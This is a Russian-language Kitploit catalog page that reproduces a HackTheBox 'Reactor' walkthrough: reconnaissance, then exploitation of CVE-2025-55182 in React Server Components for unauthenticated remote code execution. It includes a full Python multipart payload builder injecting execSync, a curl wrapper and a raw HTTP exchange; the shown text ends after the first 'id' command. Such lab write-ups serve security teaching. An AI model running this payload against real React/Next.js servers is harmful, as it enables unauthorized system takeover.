Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Полное прохождение машины Reactor от HTB — эксплуатация CVE-2025-55182 для получения оболочки, затем получение root через открытый отладчик Node.js. Пошагово со скриншотами. | Kitploit
Инструменты/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияCTFТестирование на ПроникновениеОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Инструмент Удаленного Доступа
Лаборатории и Практика
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Полное прохождение машины Reactor от HTB — эксплуатация CVE-2025-55182 для получения оболочки, затем получение root через открытый отладчик Node.js. Пошагово со скриншотами.

Репозиторий
1254 месяцев назадЕщё не проверено

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Предупреждение о спойлерах. Это полное прохождение, включая флаги. Если вы хотите решить машину самостоятельно, закройте это сейчас и вернитесь, когда застрянете.


Информация о машине

ПолеПодробности
НазваниеReactor
ОСUbuntu 24.04 LTS (Noble)
СложностьMedium
CVECVE-2025-55182 (CVSS 10.0)
Порты22 (SSH), 3000 (Next.js)
Авторsonnycroco

Обзор

Reactor тематически связана с панелью мониторинга атомной электростанции под названием ReactorWatch. Машина целиком построена на связке двух уязвимостей — никаких догадок, бесполезных веток и грубой силы.

Путь: предрелизная сборка React 19 содержит критическую ошибку десериализации, которая позволяет получить неавторизованное удалённое выполнение кода (RCE) одним HTTP-запросом. Оттуда отладочный порт Node.js, работающий от root, даёт полный доступ к системе через сообщение WebSocket.

Цепочка атаки:

Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Содержание

  1. Шаг 1: Разведка
  2. Шаг 2: Определение технологического стека
  3. Шаг 3: Эксплуатация CVE-2025-55182 (Неавторизованный RCE)
  4. Шаг 4: Осмотр от имени node
  5. Шаг 5: Пользовательский флаг
  6. Шаг 6: Повышение привилегий
  7. Шаг 7: Root-флаг
  8. Уроки
  9. Устранение уязвимостей

Шаг 1: Разведка

Первое, что нужно сделать на любой новой машине — выяснить, какие порты слушаются. Полное сканирование портов с определением служб, чтобы ничего не пропустить.

nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Результаты сканирования Nmap, показывающие открытые порты 22 и 3000 с определённым Next.js

Только два порта. SSH пока тупиковый — у нас ещё нет учётных данных. Порт 3000 — цель. Nmap уже сообщает, что это Next.js 15.0.3, что даёт хорошую зацепку.


Шаг 2: Определение технологического стека

Прежде чем применять эксплойты, я хочу точно знать версию всего запущенного. HTTP-заголовки уже показали Next.js, но версия React — критическая деталь. React 19 долго был в предрелизной версии и имел серьёзные проблемы до стабильного релиза.

Скачиваем один из клиентских JavaScript-чанков, чтобы проверить:

curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106

rc в строке версии — это явный признак. Это сборка-кандидат React 19, не стабильная версия. Базы CVE подтверждают: CVE-2025-55182 затрагивает именно эту сборку. CVSS 10.0.

Попутно проверяем заголовки на предмет промежуточного ПО:

X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

Нигде нет заголовка x-middleware-rewrite, что означает, что промежуточное ПО Next.js не установлено. Это исключает CVE-2025-29927 (обход middleware) — стоит отметить, чтобы не тратить на него время.

Что мы знаем:

  • Next.js 15.0.3 с включённым experimental.serverActions
  • React 19.0.0-rc, уязвимый к CVE-2025-55182
  • Имя приложения: ReactorWatch (панель мониторинга датчиков ядерного реактора)
  • Middleware отсутствует, поэтому CVE, связанный с обходом middleware, здесь неприменим

Определение технологического стека: обнаружен React 19.0.0-rc и идентифицирован CVE-2025-55182


Шаг 3: Эксплуатация CVE-2025-55182 (Неавторизованный RCE)

В чём заключается уязвимость

Серверные компоненты React 19 ввели Server Actions — серверные функции, вызываемые клиентом через HTTP POST с заголовком Next-Action. Парсер multipart-тела, обрабатывающий эти запросы, содержит критическую ошибку: он небезопасно десериализует ссылочный тип $1:__proto__:then.

Создавая multipart-тело, которое устанавливает _response._prefix в произвольный JavaScript, атакующий вызывает выполнение этого кода на сервере. Результат выводится через исключение, которое Next.js использует внутренне для редиректов (NEXT_REDIRECT), и оказывается URL-кодированным внутри заголовка ответа x-action-redirect.

Любой POST на любую страницу с заголовком Next-Action запускает эту уязвимость. Ни проверки аутентификации, ни специального эндпоинта. Просто отправьте нагрузку на / — и вы внутри.

Создание эксплойта

Небольшой помощник на Python, который принимает команду оболочки, строит multipart-нагрузку и записывает её на диск для отправки через curl:

make_rce.py — построитель нагрузки
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Оборачиваем всё в функцию оболочки для ощущения псевдо-консоли:

rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

Необработанный HTTP-обмен. Вывод команды находится прямо в заголовке редиректа:

POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Запуск

rce "id"
# uid=999(node) gid=988(node) groups=988(node)
Скачать инструмент